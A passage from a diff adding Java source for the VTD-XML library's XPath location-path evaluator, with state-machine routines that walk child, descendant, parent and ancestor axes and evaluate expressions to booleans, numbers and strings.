AxisType.PRECEDING0; + break; + case AxisType.FOLLOWING: + ts.prevS.axis_type = AxisType.FOLLOWING0; + break; + case AxisType.FOLLOWING_SIBLING: + ts.prevS.axis_type = AxisType.FOLLOWING_SIBLING0; + ts.prevS.nt.testType = NodeTest.NAMETEST; + ts.prevS.nt.type= 0; + ts.prevS.nt.nodeName = "*"; + break; + case AxisType.PRECEDING_SIBLING: + ts.prevS.axis_type = AxisType.PRECEDING_SIBLING0; + ts.prevS.nt.testType = NodeTest.NAMETEST; + ts.prevS.nt.type= 0; + ts.prevS.nt.nodeName = "*"; + break; + } + } + + ts= ts.prevS; + } + // rewrite steps + } + + final public void setStep(Step st){ + s = st; + } + + final public void setPathType(int ptype){ + pathType = ptype; + } +// Improved version for uniqueness checking + final public boolean isUnique(int i){ + return ih.isUnique(i); + } + + final public void reset(VTDNav vn){ + state = START; + Step temp = s; + ih.reset(); + currentStep = null; + while(temp!=null){ + temp.reset(vn); + temp = temp.nextS; + } + /*cached = false; + if (cachedNodeSet != null){ + cachedNodeSet.clear(); + }*/ + } + + public String toString(){ + String st = ""; + Step ts = s; + if (pathType == LocationPathExpr.ABSOLUTE_PATH){ + st = st+"/"; + } + + if (ts == null) + return st; + else + return st + ts; + } + + final public boolean evalBoolean(VTDNav vn){ + boolean a = false; + vn.push2(); + // record stack size + int size = vn.contextStack2.size; + try{ + a = (evalNodeSet(vn) != -1); + + }catch (Exception e){ + } + //rewind stack + vn.contextStack2.size = size; + reset(vn); + vn.pop2(); + return a; + } + + final public double evalNumber(VTDNav vn){ + double d = Double.NaN; + int a = -1; + vn.push2(); + int size = vn.contextStack2.size; + try { + a = evalNodeSet(vn); + if (a != -1) { + int t = vn.getTokenType(a); + if (t == VTDNav.TOKEN_ATTR_NAME) { + d = vn.parseDouble(a+1); + } else if (t == VTDNav.TOKEN_STARTING_TAG || t ==VTDNav.TOKEN_DOCUMENT) { + String s = vn.getXPathStringVal(); + d = Double.parseDouble(s); + }else if (t == VTDNav.TOKEN_PI_NAME) { + if (a+1 < vn.vtdSize || vn.getTokenType(a+1)==VTDNav.TOKEN_PI_VAL) + d = vn.parseDouble(a+1); + }else + d = vn.parseDouble(a); + } + } catch (Exception e) { + + } + vn.contextStack2.size = size; + reset(vn); + vn.pop2(); + //return s; + return d; + } + + final public String evalString(VTDNav vn){ + String s=""; + int a = -1; + vn.push2(); + int size = vn.contextStack2.size; + try { + a = evalNodeSet(vn); + if (a != -1) { + int t = vn.getTokenType(a); + switch(t){ + case VTDNav.TOKEN_STARTING_TAG: + case VTDNav.TOKEN_DOCUMENT: + s = vn.getXPathStringVal(); + break; + case VTDNav.TOKEN_ATTR_NAME: + s = vn.toString(a + 1); + break; + case VTDNav.TOKEN_PI_NAME: + //if (a + 1 < vn.vtdSize + // || vn.getTokenType(a + 1) == VTDNav.TOKEN_PI_VAL) + s = vn.toString(a + 1); + break; + default: + s = vn.toString(a); + break; + } + } + } catch (Exception e) { + + } + vn.contextStack2.size = size; + reset(vn); + vn.pop2(); + return s; + } + + final public boolean isNodeSet(){ + return true; + } + + final public boolean isNumerical(){ + return false; + } + + final protected void transition_child(VTDNav vn)throws NavException{ + + vn.toElement(VTDNav.P); + if (currentStep.prevS != null){ + currentStep = currentStep.prevS; + state = BACKWARD; + }else{ + state = END; + } + } + /** + * For processing node tests that are element specific + * @param vn + * @return + * @throws XPathEvalException + * @throws NavException + */ + final protected int process_child(VTDNav vn)throws XPathEvalException,NavException{ + int result; + boolean b = false, b1 = false; + int k=1; + Predicate t= null; + //System.out.println(" index-============= " + vn.getCurrentIndex()); + //System.out.println(" depth ==============" + vn.getCurrentDepth()); + switch(state){ + case START: + //if (currentStep.nt.testType < NodeTest.TEXT){ + // first search for any predicate that + // requires contextSize + // if so, compute its context size + // if size > 0 + // set context + // if size ==0 + // immediately set the state to backward or end + t = currentStep.p; + while(t!=null){ + if (t.requireContext){ + int i = computeContextSize(t,vn); + if (i==0){ + b1 = true; + break; + }else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1){ + state = END; + break; + } + + b=vn.toElement(VTDNav.FIRST_CHILD); + state = END; + if (b ){ + do { + if ((currentStep.nt_eval || currentStep.nt.eval(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + if (currentStep.nextS != null){ + //currentStep.position++; + state = FORWARD; + currentStep = currentStep.nextS; + } + else { + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)){ + return result; + } + } + break; + } + } while (vn.toElement(VTDNav.NS)); + if (state == END) + vn.toElement(VTDNav.PARENT); + } + + break; + case END: + currentStep =null; + // reset(); + return -1; + + case FORWARD: + //if (currentStep.nt.testType < NodeTest.TEXT){ + t = currentStep.p; + while(t!=null){ + if (t.requireContext){ + int i = computeContextSize(t,vn); + if (i==0){ + b1 = true; + break; + }else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1){ + currentStep = currentStep.prevS; + state = BACKWARD; + break; + } + + state = BACKWARD; + forward: if (vn.toElement(VTDNav.FC)) { + do { + if ((currentStep.nt_eval || currentStep.nt.eval(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + if (currentStep.nextS != null) { + state = FORWARD; + currentStep = currentStep.nextS; + } else { + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + break forward; + } + } while (vn.toElement(VTDNav.NS)); + vn.toElement(VTDNav.P); + if (currentStep.hasPredicate) + currentStep.resetP(vn); + currentStep = currentStep.prevS; + } else { + //vn.toElement(VTDNav.P); + currentStep = currentStep.prevS; + } + + break; + + case BACKWARD: + //if (currentStep.nt.testType < NodeTest.TEXT) { + //currentStep = currentStep.prevS; + //b = false; + if(currentStep.out_of_range){ + currentStep.out_of_range = false; + if (currentStep.hasPredicate) + currentStep.resetP(vn); + transition_child(vn); + break; + } + while (vn.toElement(VTDNav.NS)) { + if ((currentStep.nt_eval || currentStep.nt.eval(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + b = true; + break; + } + } + if (b ) { + state = FORWARD; + currentStep = currentStep.nextS; + } else { + if (currentStep.hasPredicate) + currentStep.resetP(vn); + transition_child(vn); + } + break; + + case TERMINAL: + if(currentStep.out_of_range){ + currentStep.out_of_range = false; + if (currentStep.hasPredicate) + currentStep.resetP(vn); + transition_child(vn); + break; + } + //if (currentStep.nt.testType < NodeTest.TEXT) { + while (vn.toElement(VTDNav.NS)) { + if ((currentStep.nt_eval || currentStep.nt.eval(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + // state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + if (currentStep.hasPredicate) + currentStep.resetP(vn); + transition_child(vn); + break; + + default: + throw new XPathEvalException("unknown state"); + } + return -2; + } + final protected void transition_DDFP(VTDNav vn){ + vn.pop2(); + currentStep.ft = true; + if(currentStep.hasPredicate) + currentStep.resetP(vn); + //System.out.println(" --++ pop in //"); + if (currentStep.prevS != null) { + state = BACKWARD; + currentStep = currentStep.prevS; + } else + state = END; + } + final protected int process_DDFP(VTDNav vn) + throws XPathEvalException, NavException { + AutoPilot ap; + boolean b = false, b1 = false; + Predicate t= null; + int result; + + switch(state){ + case START: + case FORWARD: + if (vn.atTerminal){ + if (state == START) + state = END; + else { + // no need to set_ft to true + // no need to resetP + state = BACKWARD; + currentStep = currentStep.prevS; + } + break; + } + + t = currentStep.p; + while(t!=null){ + if (t.requireContext){ + int i = computeContextSize(t,vn); + if (i==0){ + b1 = true; + break; + }else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1){ + if (state ==START) + state = END; + else { + currentStep = currentStep.prevS; + state = BACKWARD; + } + break; + } + + String helper = null; + if (currentStep.nt.testType == NodeTest.NAMETEST){ + helper = currentStep.nt.nodeName; + } else if (currentStep.nt.testType == NodeTest.NODE){ + helper = "*"; + } else + throw new XPathEvalException("can't run descendant " + + "following, or following-sibling axis over comment(), pi(), and text()"); + if (currentStep.o == null) + currentStep.o = ap = new AutoPilot(vn); + else { + ap = (AutoPilot) currentStep.o; + ap.bind(vn); + } + if (currentStep.ft ) { + if (currentStep.axis_type == AxisType.DESCENDANT_OR_SELF0 ) + if (currentStep.nt.testType == NodeTest.NODE) + ap.setSpecial(true); + else + ap.setSpecial(false); + //currentStep.o = ap = new AutoPilot(vn); + if (currentStep.axis_type == AxisType.DESCENDANT_OR_SELF0) + ap.selectElement(helper); + else if (currentStep.axis_type == AxisType.DESCENDANT0) + ap.selectElement_D(helper); + else if (currentStep.axis_type == AxisType.PRECEDING0) + ap.selectElement_P(helper); + else + ap.selectElement_F(helper); + currentStep.ft = false; + } + if ( state == START) + state = END; + + vn.push2(); // not the most efficient. good for now + //System.out.println(" --++ push in //"); + b = false; + while(ap.iterate()){ + if (!currentStep.hasPredicate || currentStep.evalPredicates(vn)){ + b = true; + break; + } + } + if (b == false) { + vn.pop2(); + //System.out.println(" --++ pop in //"); + currentStep.ft = true; + if (currentStep.hasPredicate) + currentStep.resetP(vn); + if ( state == FORWARD){ + state = BACKWARD; + currentStep = currentStep.prevS; + } + } else { + if (currentStep.nextS != null){ + state = FORWARD; + currentStep = currentStep.nextS; + } + else { + //vn.pop(); + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + break; + + case END: + currentStep = null; + // reset(); + return -1; + + case BACKWARD: + //currentStep = currentStep.prevS; + if (currentStep.out_of_range){ + currentStep.out_of_range = false; + transition_DDFP(vn); + break; + } + ap = (AutoPilot) currentStep.o; + //vn.push(); + //b = false; + while(ap.iterate()){ + if (!currentStep.hasPredicate || currentStep.evalPredicates(vn)){ + b = true; + break; + } + } + if (b ) { + if (currentStep.nextS != null) { + //vn.push(); + //System.out.println(" --++ push in //"); + state = FORWARD; + currentStep = currentStep.nextS; + } else { + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } else { + transition_DDFP(vn); + } + break; + + case TERMINAL: + if (currentStep.out_of_range){ + currentStep.out_of_range = false; + transition_DDFP(vn); + break; + } + ap = (AutoPilot) currentStep.o; + b = false; + while (ap.iterate()) { + if (!currentStep.hasPredicate || currentStep.evalPredicates(vn)) { + b = true; + break; + } + } + if (b ) { + //if (currentStep.evalPredicates(vn)) { + result = vn.getCurrentIndex(); + if (isUnique(result)) + return result; + //} + } else { + transition_DDFP(vn); + } + break; + + default: + throw new XPathEvalException("unknown state"); + } + return -2; + } + + final protected int process_DDFP2(VTDNav vn) throws XPathEvalException, + NavException { + AutoPilot ap; + boolean b = false, b1 = false; + Predicate t = null; + int result; + + switch (state) { + case START: + case FORWARD: + /*if (vn.atTerminal) { + if (state == START) + state = END; + else { + // no need to set_ft to true + // no need to resetP + state = BACKWARD; + currentStep = currentStep.prevS; + } + break; + }*/ + + t = currentStep.p; + while (t != null) { + if (t.requireContext) { + int i = computeContextSize(t, vn); + if (i == 0) { + b1 = true; + break; + } else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1) { + if (state == START) + state = END; + else { + currentStep = currentStep.prevS; + state = BACKWARD; + } + break; + } + + String helper = null; + /*if (currentStep.nt.testType == NodeTest.NAMETEST) { + helper = currentStep.nt.nodeName; + } else if (currentStep.nt.testType == NodeTest.NODE) { + helper = "*"; + } else + throw new XPathEvalException( + "can't run descendant " + + "following, or following-sibling axis over comment(), pi(), and text()");*/ + if (currentStep.o == null) + currentStep.o = ap = new AutoPilot(vn); + else { + ap = (AutoPilot) currentStep.o; + ap.bind(vn); + } + if (currentStep.ft) { + + /*if (currentStep.axis_type == AxisType.DESCENDANT_OR_SELF) + if (currentStep.nt.testType == NodeTest.NODE) + ap.setSpecial(true); + else + ap.setSpecial(false);*/ + // currentStep.o = ap = new AutoPilot(vn); + if (currentStep.axis_type == AxisType.DESCENDANT_OR_SELF) + ap.selectNode(); + else if (currentStep.axis_type == AxisType.DESCENDANT) + ap.selectDescendantNode(); + else if (currentStep.axis_type == AxisType.PRECEDING) + ap.selectPrecedingNode(); + else + ap.selectFollowingNode(); + currentStep.ft = false; + } + if (state == START) + state = END; + + vn.push2(); // not the most efficient. good for now + // System.out.println(" --++ push in //"); + b = false; + while (ap.iterate2()) { + if ((currentStep.nt_eval || currentStep.nt.eval2(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + b = true; + break; + } + } + if (b == false) { + vn.pop2(); + // System.out.println(" --++ pop in //"); + currentStep.ft = true; + if (currentStep.hasPredicate) + currentStep.resetP(vn); + if (state == FORWARD) { + state = BACKWARD; + currentStep = currentStep.prevS; + } + } else { + if (currentStep.nextS != null) { + state = FORWARD; + currentStep = currentStep.nextS; + } else { + // vn.pop(); + state = TERMINAL; + result = vn.getCurrentIndex(); + if (isUnique(result)) + return result; + } + } + break; + + case END: + currentStep = null; + // reset(); + return -1; + + case BACKWARD: + if(currentStep.out_of_range){ + currentStep.out_of_range = false; + transition_DDFP(vn); + break; + } + // currentStep = currentStep.prevS; + ap = (AutoPilot) currentStep.o; + // vn.push(); + //b = false; + while (ap.iterate2()) { + if ((currentStep.nt_eval || currentStep.nt.eval2(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + b = true; + break; + } + } + if (b ) { + if (currentStep.nextS != null) { + // vn.push(); + // System.out.println(" --++ push in //"); + state = FORWARD; + currentStep = currentStep.nextS; + } else { + state = TERMINAL; + result = vn.getCurrentIndex(); + if (isUnique(result)) + return result; + } + } else + transition_DDFP(vn); + break; + + case TERMINAL: + if(currentStep.out_of_range){ + currentStep.out_of_range = false; + transition_DDFP(vn); + break; + } + ap = (AutoPilot) currentStep.o; + b = false; + while (ap.iterate2()) { + if ((currentStep.nt_eval || currentStep.nt.eval2(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + b = true; + break; + } + } + if (b) { + //if (currentStep.evalPredicates(vn)) { + result = vn.getCurrentIndex(); + if (isUnique(result)) + return result; + //} + } else{ + transition_DDFP(vn); + } + break; + + default: + throw new XPathEvalException("unknown state"); + } + return -2; + } + + final protected int process_parent(VTDNav vn) + throws XPathEvalException, NavException{ + boolean b1 = false; + Predicate t= null; + int result; + switch ( state) { + case START: + case FORWARD: + t = currentStep.p; + while(t!=null){ + if (t.requireContext){ + int i = computeContextSize(t,vn); + if (i==0){ + b1 = true; + break; + }else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1){ + if (state == FORWARD){ + state = BACKWARD; + currentStep = currentStep.prevS; + }else + state = END; + break; + } + + if (vn.getCurrentDepth() == -1) { + if ( state == START) + state = END; + else { + //vn.pop(); + state = BACKWARD; + currentStep = currentStep.prevS; + } + } else { + vn.push2(); + vn.toElement(VTDNav.P); // must return true + if ((currentStep.nt_eval || currentStep.nt.eval(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))){ + if (currentStep.nextS != null) { + state = FORWARD; + currentStep = currentStep.nextS; + } else { + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + }else{ + vn.pop2(); + if (currentStep.hasPredicate) + currentStep.resetP(vn); + if ( state == START) + state = END; + else { + state = BACKWARD; + currentStep = currentStep.prevS; + } + } + } + + break; + + case END: + currentStep = null; + // reset(); + return -1; + + case BACKWARD: + case TERMINAL: + if (currentStep.prevS == null) { + vn.pop2(); + state = END; + break; + }else { + vn.pop2(); + state = BACKWARD; + currentStep = currentStep.prevS; + break; + } + + default: + throw new XPathEvalException("unknown state"); + + } + return -2; + } + + final protected int process_parent2(VTDNav vn) + throws XPathEvalException, NavException{ + boolean b1 = false; + Predicate t= null; + int result; + switch ( state) { + case START: + case FORWARD: + t = currentStep.p; + while(t!=null){ + if (t.requireContext){ + int i = computeContextSize(t,vn); + if (i==0){ + b1 = true; + break; + }else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1){ + if (state == FORWARD){ + state = BACKWARD; + currentStep = currentStep.prevS; + }else + state = END; + break; + } + + if (vn.getCurrentDepth() == -1) { + if ( state == START) + state = END; + else { + //vn.pop(); + state = BACKWARD; + currentStep = currentStep.prevS; + } + } else { + vn.push2(); + vn.toNode(VTDNav.P); // must return true + if ((currentStep.nt_eval || currentStep.nt.eval2(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))){ + if (currentStep.nextS != null) { + state = FORWARD; + currentStep = currentStep.nextS; + } else { + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + }else{ + vn.pop2(); + if (currentStep.hasPredicate) + currentStep.resetP(vn); + if ( state == START) + state = END; + else { + state = BACKWARD; + currentStep = currentStep.prevS; + } + } + } + + break; + + case END: + currentStep = null; + // reset(); + return -1; + + case BACKWARD: + case TERMINAL: + if (currentStep.prevS == null) { + vn.pop2(); + state = END; + break; + }else { + vn.pop2(); + state = BACKWARD; + currentStep = currentStep.prevS; + break; + } + + default: + throw new XPathEvalException("unknown state"); + + } + return -2; + } + + final protected int process_ancestor( VTDNav vn) + throws XPathEvalException, NavException{ + int result; + boolean b = false, b1 = false; + //int contextSize; + Predicate t= null; + + switch(state){ + case START: + + t = currentStep.p; + while (t != null) { + if (t.requireContext) { + int i = computeContextSize( t, vn); + if (i == 0) { + b1 = true; + break; + } else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1) { + state = END; + break; + } + + state = END; + if (vn.getCurrentDepth() != -1) { + vn.push2(); + + while (vn.toElement(VTDNav.P)) { + if ((currentStep.nt_eval || currentStep.nt.eval(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + if (currentStep.nextS != null) { + state = FORWARD; + currentStep = currentStep.nextS; + break; + } else { + //vn.pop(); + state = TERMINAL; + result = vn.getCurrentIndex(); + if (isUnique(result)) + return result; + } + } + } + if (state == END) { + if (currentStep.hasPredicate) + currentStep.resetP(vn); + vn.pop2(); + } + } + break; + + case END: + currentStep =null; + // reset(); + return -1; + + case FORWARD: + t = currentStep.p; + while(t!=null){ + if (t.requireContext){ + int i = computeContextSize(t,vn); + if (i==0){ + b1 = true; + break; + }else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1){ + currentStep = currentStep.prevS; + state = BACKWARD; + break; + } + state = BACKWARD; + vn.push2(); + + while(vn.toElement(VTDNav.P)){ + if ((currentStep.nt_eval || currentStep.nt.eval(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))){ + if (currentStep.nextS != null){ + state = FORWARD; + currentStep = currentStep.nextS; + break; + } + else { + //vn.pop(); + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + if ( state == BACKWARD){ + if (currentStep.hasPredicate) + currentStep.resetP(vn); + vn.pop2(); + currentStep=currentStep.prevS; + } + break; + + case BACKWARD: + b = false; + vn.push2(); + + while (vn.toElement(VTDNav.P)) { + if ((currentStep.nt_eval || currentStep.nt.eval(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + if (currentStep.nextS!= null) { + state = FORWARD; + currentStep = currentStep.nextS; + b = true; + break; + } else { + //vn.pop(); + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + if (b==false){ + vn.pop2(); + if (currentStep.prevS!=null) { + if (currentStep.hasPredicate) + currentStep.resetP(vn); + state = BACKWARD; + currentStep = currentStep.prevS; + } + else { + state = END; + } + } + break; + + case TERMINAL: + while (vn.toElement(VTDNav.P)) { + if ((currentStep.nt_eval || currentStep.nt.eval(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + vn.pop2(); + + if (currentStep.prevS!=null) { + if (currentStep.hasPredicate) + currentStep.resetP(vn); + state = BACKWARD; + currentStep = currentStep.prevS; + } + else { + state = END; + } + break; + + default: + throw new XPathEvalException("unknown state"); + } + return -2; + } + + + final protected int process_ancestor2( VTDNav vn) + throws XPathEvalException, NavException{ + int result; + boolean b = false, b1 = false; + //int contextSize; + Predicate t= null; + + switch(state){ + case START: + + t = currentStep.p; + while (t != null) { + if (t.requireContext) { + int i = computeContextSize( t, vn); + if (i == 0) { + b1 = true; + break; + } else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1) { + state = END; + break; + } + + state = END; + //if (vn.getCurrentDepth() != -1) { + vn.push2(); + + while (vn.toNode(VTDNav.P)) { + if ((currentStep.nt_eval || currentStep.nt.eval2(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + if (currentStep.nextS != null) { + state = FORWARD; + currentStep = currentStep.nextS; + break; + } else { + //vn.pop(); + state = TERMINAL; + result = vn.getCurrentIndex(); + if (isUnique(result)) + return result; + } + } + } + if (state == END) { + if (currentStep.hasPredicate) + currentStep.resetP(vn); + vn.pop2(); + } + // } + break; + + case END: + currentStep =null; + // reset(); + return -1; + + case FORWARD: + t = currentStep.p; + while(t!=null){ + if (t.requireContext){ + int i = computeContextSize(t,vn); + if (i==0){ + b1 = true; + break; + }else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1){ + currentStep = currentStep.prevS; + state = BACKWARD; + break; + } + state = BACKWARD; + vn.push2(); + + while(vn.toNode(VTDNav.P)){ + if ((currentStep.nt_eval || currentStep.nt.eval2(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))){ + if (currentStep.nextS != null){ + state = FORWARD; + currentStep = currentStep.nextS; + break; + } + else { + //vn.pop(); + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + if ( state == BACKWARD){ + if (currentStep.hasPredicate) + currentStep.resetP(vn); + vn.pop2(); + currentStep=currentStep.prevS; + } + break; + + case BACKWARD: + b = false; + vn.push2(); + + while (vn.toNode(VTDNav.P)) { + if ((currentStep.nt_eval || currentStep.nt.eval2(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + if (currentStep.nextS!= null) { + state = FORWARD; + currentStep = currentStep.nextS; + b = true; + break; + } else { + //vn.pop(); + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + if (b==false){ + vn.pop2(); + if (currentStep.prevS!=null) { + if (currentStep.hasPredicate) + currentStep.resetP(vn); + state = BACKWARD; + currentStep = currentStep.prevS; + } + else { + state = END; + } + } + break; + + case TERMINAL: + while (vn.toNode(VTDNav.P)) { + if ((currentStep.nt_eval || currentStep.nt.eval2(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + vn.pop2(); + + if (currentStep.prevS!=null) { + if (currentStep.hasPredicate) + currentStep.resetP(vn); + state = BACKWARD; + currentStep = currentStep.prevS; + } + else { + state = END; + } + break; + + default: + throw new XPathEvalException("unknown state"); + } + return -2; + } + + final protected int process_ancestor_or_self(VTDNav vn) + throws XPathEvalException,NavException{ + boolean b = false, b1 = false; + Predicate t= null; + int result; + switch ( state) { + case START: + t = currentStep.p; + while (t != null) { + if (t.requireContext) { + int i = computeContextSize( t, vn); + if (i == 0) { + b1 = true; + break; + } else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1) { + state = END; + break; + } + state = END; + vn.push2(); + + if (currentStep.ft){ + currentStep.ft = false; + if ((currentStep.nt_eval || currentStep.nt.eval(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + if (currentStep.nextS != null) { + state = FORWARD; + currentStep = currentStep.nextS; + break; + } else { + //vn.pop(); + state = TERMINAL; + if (vn.atTerminal) + result = vn.LN; + else + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + + while (vn.toElement(VTDNav.P)) { + if ((currentStep.nt_eval || currentStep.nt.eval(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + if (currentStep.nextS != null) { + state = FORWARD; + currentStep = currentStep.nextS; + break; + } else { + //vn.pop(); + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + + if ( state == END) { + if (currentStep.hasPredicate) + currentStep.resetP(vn); + vn.pop2(); + } + + break; + + case FORWARD: + t = currentStep.p; + while(t!=null){ + if (t.requireContext){ + int i = computeContextSize(t,vn); + if (i==0){ + b1 = true; + break; + }else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1){ + currentStep = currentStep.prevS; + state = BACKWARD; + break; + } + state = BACKWARD; + vn.push2(); + if (currentStep.ft ) { + currentStep.ft = false; + + if ((currentStep.nt_eval || currentStep.nt.eval(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + if (currentStep.nextS != null) { + state = FORWARD; + currentStep = currentStep.nextS; + break; + } else { + //vn.pop(); + state = TERMINAL; + if (vn.atTerminal) + result = vn.LN; + else + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + while (vn.toElement(VTDNav.P)) { + if ((currentStep.nt_eval || currentStep.nt.eval(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + if (currentStep.nextS != null) { + state = FORWARD; + currentStep = currentStep.nextS; + break; + } else { + //vn.pop(); + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + + if ( state == BACKWARD) { + if (currentStep.hasPredicate) + currentStep.resetP(vn); + currentStep.ft = true; + vn.pop2(); + currentStep = currentStep.prevS; + } + break; + + case END: + currentStep = null; + // reset(); + return -1; + + + case BACKWARD: + //b = false; + vn.push2(); + + while (vn.toElement(VTDNav.P)) { + if ((currentStep.nt_eval || currentStep.nt.eval(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + if (currentStep.nextS != null) { + state = FORWARD; + currentStep = currentStep.nextS; + b = true; + break; + } else { + //vn.pop(); + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + if (b == false) { + vn.pop2(); + if (currentStep.hasPredicate) + currentStep.resetP(vn); + if (currentStep.prevS != null) { + currentStep.ft = true; + state = BACKWARD; + currentStep = currentStep.prevS; + } else { + state = END; + } + } + break; + + case TERMINAL: + while (vn.toElement(VTDNav.P)) { + if ((currentStep.nt_eval || currentStep.nt.eval(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + vn.pop2(); + if (currentStep.hasPredicate) + currentStep.resetP(vn); + if (currentStep.prevS!=null) { + currentStep.ft = true; + state = BACKWARD; + currentStep = currentStep.prevS; + } + else { + state = END; + } + break; + + + default: + throw new XPathEvalException("unknown state"); + } + return -2; + } + + final protected int process_ancestor_or_self2(VTDNav vn) + throws XPathEvalException,NavException{ + boolean b = false, b1 = false; + Predicate t= null; + int result; + switch ( state) { + case START: + t = currentStep.p; + while (t != null) { + if (t.requireContext) { + int i = computeContextSize( t, vn); + if (i == 0) { + b1 = true; + break; + } else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1) { + state = END; + break; + } + state = END; + vn.push2(); + + if (currentStep.ft){ + currentStep.ft = false; + if ((currentStep.nt_eval || currentStep.nt.eval2(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + if (currentStep.nextS != null) { + state = FORWARD; + currentStep = currentStep.nextS; + break; + } else { + //vn.pop(); + state = TERMINAL; + if (vn.atTerminal) + result = vn.LN; + else + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + + while (vn.toNode(VTDNav.P)) { + if ((currentStep.nt_eval || currentStep.nt.eval2(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + if (currentStep.nextS != null) { + state = FORWARD; + currentStep = currentStep.nextS; + break; + } else { + //vn.pop(); + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + + if ( state == END) { + if (currentStep.hasPredicate) + currentStep.resetP(vn); + vn.pop2(); + } + + break; + + case FORWARD: + t = currentStep.p; + while(t!=null){ + if (t.requireContext){ + int i = computeContextSize(t,vn); + if (i==0){ + b1 = true; + break; + }else + t.setContextSize(i); + } + t = t.nextP; + } + if (b1){ + currentStep = currentStep.prevS; + state = BACKWARD; + break; + } + state = BACKWARD; + vn.push2(); + if (currentStep.ft ) { + currentStep.ft = false; + + if ((currentStep.nt_eval || currentStep.nt.eval2(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + if (currentStep.nextS != null) { + state = FORWARD; + currentStep = currentStep.nextS; + break; + } else { + //vn.pop(); + state = TERMINAL; + if (vn.atTerminal) + result = vn.LN; + else + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + while (vn.toNode(VTDNav.P)) { + if ((currentStep.nt_eval || currentStep.nt.eval2(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + if (currentStep.nextS != null) { + state = FORWARD; + currentStep = currentStep.nextS; + break; + } else { + //vn.pop(); + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) + return result; + } + } + } + + if ( state == BACKWARD) { + if (currentStep.hasPredicate) + currentStep.resetP(vn); + currentStep.ft = true; + vn.pop2(); + currentStep = currentStep.prevS; + } + break; + + case END: + currentStep = null; + // reset(); + return -1; + + + case BACKWARD: + //b = false; + vn.push2(); + + while (vn.toNode(VTDNav.P)) { + if ((currentStep.nt_eval || currentStep.nt.eval2(vn)) + && ((!currentStep.hasPredicate) || currentStep.evalPredicates(vn))) { + if (currentStep.nextS != null) { + state = FORWARD; + currentStep = currentStep.nextS; + b = true; + break; + } else { + //vn.pop(); + state = TERMINAL; + result = vn.getCurrentIndex(); + if ( isUnique(result)) 